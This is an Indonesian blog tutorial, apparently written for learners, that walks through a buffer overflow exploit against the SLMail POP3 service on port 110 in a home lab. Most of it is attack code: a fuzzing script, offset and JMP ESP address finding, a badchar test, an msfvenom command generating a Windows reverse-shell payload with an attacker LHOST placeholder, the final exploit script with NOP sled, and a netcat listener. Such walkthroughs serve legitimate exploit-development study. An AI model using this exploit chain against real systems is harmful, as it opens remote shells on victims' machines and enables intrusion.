SLMAIL Buffer Overflow

1azbkj-24l-33xakzrbtomg

Assalamualaikum Wr. Wb

Mungkin ini salah satu topik yang sudah sering dibahas dan mungkin ada beberapa temen yang nggak tau atau masih belajar seperti saya, yaitu Buffer Overflow. Sekilas apa itu Buffer Overflow?

Buffer overflow terjadi ketika suatu program atau proses mencoba untuk menulis lebih banyak data ke blok memori dengan panjang tetap, atau buffer, daripada buffer yang dialokasikan untuk disimpan (source).

Sesuai dengan judul kita akan mencoba buffer overflow pada salah satu program windows yaitu SLMAIL, SLmail sudah sering dibahas dimana2 karena program ini salah satu alat untuk belajar buffer overflow buat noob kek saya ini (sad cuk :” ). Hal yang perlu dipsersiapkan :

  1. Download SLMAIL
  2. VMWARE (optional)
  3. Immunity Debugger (ini sebenernya bisa diganti dengan yang lain seperti OllyDBG, IDA, dll)
  4. mona.py (plugin immunity debugger)

Install SLMAIL

Untuk instalasi SLMAIL cukup mudah kalian hanya tinggal klik next dan next, jika sudah terinstall kalian bisa masuk ke konfigurasi SLmail yang terletak di Control Panel > SL Mail(32-bit)oh ya disini saya menggunakan windows 10 x64 untuk menjalankan SL mail nya dan untuk attacker nya saya menggunakan kali-linux docker.

Jika slmail sudah diinstall dan servicenya sudah dijalankan, maka kalian akan mendapati port 110 terbuka,port tersebut adalah port untuk POP server. Kalian bisa melihatnya dengan command pada windows atau bisa menggunakan nmap jika berbeda mesin :

netstat -an | find /i "listening"
nmap -sC -sV 192.168.88.46
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-26 20:39 WIB
Nmap scan report for 192.168.88.46
Host is up (0.012s latency).
Not shown: 991 closed ports
PORT    STATE SERVICE         VERSION
25/tcp  open  smtp            SLmail smtpd 5.5.0.4433
| smtp-commands: DESKTOP-K9V01EI, SIZE 100000000, SEND, SOML, SAML, HELP, VRFY, EXPN, ETRN, XTRN,
|_ This server supports the following commands. HELO MAIL RCPT DATA RSET SEND SOML SAML HELP NOOP QUIT
79/tcp  open  finger?
|_finger: ERROR: Script execution failed (use -d to debug)
106/tcp open  pop3pw?
110/tcp open  pop3?
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
135/tcp open  msrpc           Microsoft Windows RPC
139/tcp open  netbios-ssn     Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
902/tcp open  ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
912/tcp open  vmware-auth     VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
Service Info: Host: DESKTOP-K9V01EI; OS: Windows; CPE: cpe:/o:microsoft:windowsn :

Find Instruction Pointer (EIP)

Hal ini kita lakukan dengan mengirimkan user dan password yang sangat panjang pada saat kita melakukan login ke SLMAIl lewat port 110. Sekarang kita coba untuk connect ke port 110 menggunakan netcatdan hasilnya adalah :

Screen Shot 2020-07-26 at 23.40.46

Bisa dilihat diatas terdapat field USER dan PASS, nanti kita akan coba brute field PASS dengan character yang akan kita generate, kita gunakan script sederhana untuk melakukannya .

#!/usr/bin/python
import socket 

buffer = ["A"]
repeat = 100 

while len(buffer):
    buffer.append("A"*repeat)
    repeat = repeat+200

for string in buffer:
    print("%s terkirim" % len(string))
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect(('IP_WINDOWS',110)) 
    s.recv(1024)
    s.send('USER username\r\n'.encode("utf-8"))
    s.recv(1024)
    s.send(('PASS ' + string + '\r\n').encode("utf-8"))
    s.send(('QUIT\r\n').encode("utf-8"))
    s.close()

photo_2020-07-26_22-29-39

bisa kita lihat disini bahwa isi dari EIP sudah terganti dengan 414141 yaitu ASCII dari "A" ketika kita mengirimkan sebanyak 2700 character , jadi kenapa EIP ini penting EIP (Extended Instruction Pointer) adalah jenis register khusus dan hanya menyimpan alamat (address) RAM yang menyimpan Instruksi yang akan dieksekusi oleh CPU. Jadi, CPU akan selalu melihat EIP untuk mengetahui dimana instruksi berikutnya tersimpan dan kemudian mengambil dan mengeksekusinya. Tujuan kita adalah men-overwrite EIP agar menunjuk ke memory address yang kita inginkan.

Sekarang kita cari di-character keberapa program mengalami crash, kita bisa menggunakan tools metasploit:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700

custom sedikit script yg tadi :

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = "payload hasil msfvenom"

try: 
    print ("\nSending buffer...") 
    s.connect(("192.168.88.46", 110))
    data = s.recv(1024)
    s.send('USER username\r\n'.encode("utf-8"))
    data = s.recv(1024)
    s.send(('PASS ' + buffer + '\r\n').encode("utf-8"))
    print ("\nDone!".encode("utf-8"))

except:
    print("Could not connect!")

photo_2020-07-26_22-48-37

EIP berisi 39694438sekarang kita cari offset nya dengan msfvenom :

Screen Shot 2020-07-26 at 22.49.20

Jadi EIP akan teroverwrite dan program akan crash ketika jumlah char yg kita masukan sebanyak 2606. Nantinya susunan payload kita akan seperti ini :

|-----|buffer_offset + JMP ESP + NOP sled + Shellcode|-----|

Kita akan memasukan payload ke dalam ESP dengan begini EIP (Instruction pointer) akan menjalankan payload, tapi sebelum ita kita perlu tau alamat EIP . Untuk itu kita akan memanfaatkan instruksu JMP ESP dengan begini kita akan tahu alamat EIP, untuk mencarinya kita bisa menggunakan module tambahan immunity debugger yaitu mona.py.

click huruf “e” yang ada di menu immunity debugger lalu pilih program SLMFC. Jika sudah maka akan muncul tampilan seperti di bawah.

Lalu ketik !mona find -s “\xff\xe4″ -m slmfc.dll jika berhasil kita akan menemukan opcode dari instruksi tersebut, yaitu FFE4 dan alamat memorynya 0x5f4a358f atau \x8f\x35\x4a\x5f

Jika kurang yakin kalian bisa jalankan script ini, lalu pasang breakpoint di alamat memory JMP ESP tadi, jika berhasil alamat memory akan tereplace dengan karakter “C”.

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * (3500-2600-4)

try:
        print "\nSending buffer"
        connect = s.connect(("192.168.1.42",110))
        s.recv(1024)
        s.send('USER username\r\n')
        s.recv(1024)
        s.send('PASS ' + buffer + '\r\n')
        s.send('QUIT\r\n'.encode('utf-8'))
        s.close()
except:
        print "Disconnected"

Setelah itu kita akan mencoba mencari badchar atau character yang akan error jika dieksekusi, karena jika shellcode kita terdapat karakter tsb sudah pasti shellcode tidak akan tereksekusi. Tapi sebelumnya mohon maaf karena tidak ada screenshot untuk test badchars ini saya akan langsung kasih tau badchars nya, yaitu \x00, \x0a, \x0d dan berikut script untuk mengetes character nya :

import socket
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
 "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
 "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
 "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
 "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
 "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
 "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
 "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
 "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
 "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
 "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
 "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
 "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
 "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
 "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
 "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
 buffer = "A" * 2606 + "B" * 4 + badchars
 try:
     print ("\nSending buffer…")
     s.connect(("192.168.1.42", 110))
     data = s.recv(1024)
     s.send('USER username\r\n'.encode("utf-8"))
     data = s.recv(1024)
     s.send(('PASS ' + buffer + '\r\n').encode("utf-8"))
     print ("\nDone!".encode("utf-8"))
 except:
     print("Could not connect!")

Bisa kita lihat program crash ketika mencapai character \x0a, dengan begita kita harus menghapus character tersebut dari script kita tadi, lakukan ini sampai character dapat dimuat semua. Disini kita akan dapat list badchars yaitu \x0a dan \x0d, dengan ini kita akan mengenerate shellcode tanpa badchars tadi :

msfvenom -p windows/shell_reverse_tcp LHOST=[attack machine IP] LPORT=443 -f c -a x86 --platform windows -b "\x00\x0A\x0D" -e x86/shikata_ga_nai 

replace LHOST ke ip address attacker dan LPORT untuk port yang akan digunakan pada mesin attacker.

Sekarang kita gabungkan shellcode kita ke bentuk payload yang kita sudah sepakati diatas, script nya akan menjadi seperti ini :

PS : untuk shellcode ini bentuknya akan berbeda-beda jadi jangan copas semua.

import socket 

shellcode = ("replace dengan shellcode hasil generate tadi" ) 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

#bagian pertama adalah buffer offset, lalu bagian kedua adalah address dari opcode JMP ESP, dan yang satu ini adalah nopsled, dan yang terakhir adalah shellcode
payload = "A" * 2606 + "\x8f\x35\x4a\x5f" + "\x90" * 16 + shellcode 

try:
     print "\nSend Payload"
     connect = s.connect(("192.168.1.42",110))
     s.recv(1024)
     s.send("USER username \r\n")
     s.recv(1024)
     s.send("PASS " + payload + " \r\n")
     print "DONE"
 except:
     print "Disconnected" 

Setelah itu jangan lupa untuk menyiapkan listener dengan netcat, disini saya menyiapkan listener di port 4444 dengan :

ncat -lvvp 4444 atau nc -lvvp 4444

Dan jika kalian sudah berhasil maka kita akan mendapatkan command prompt :

Demikian, Terima Kasih

Leave a comment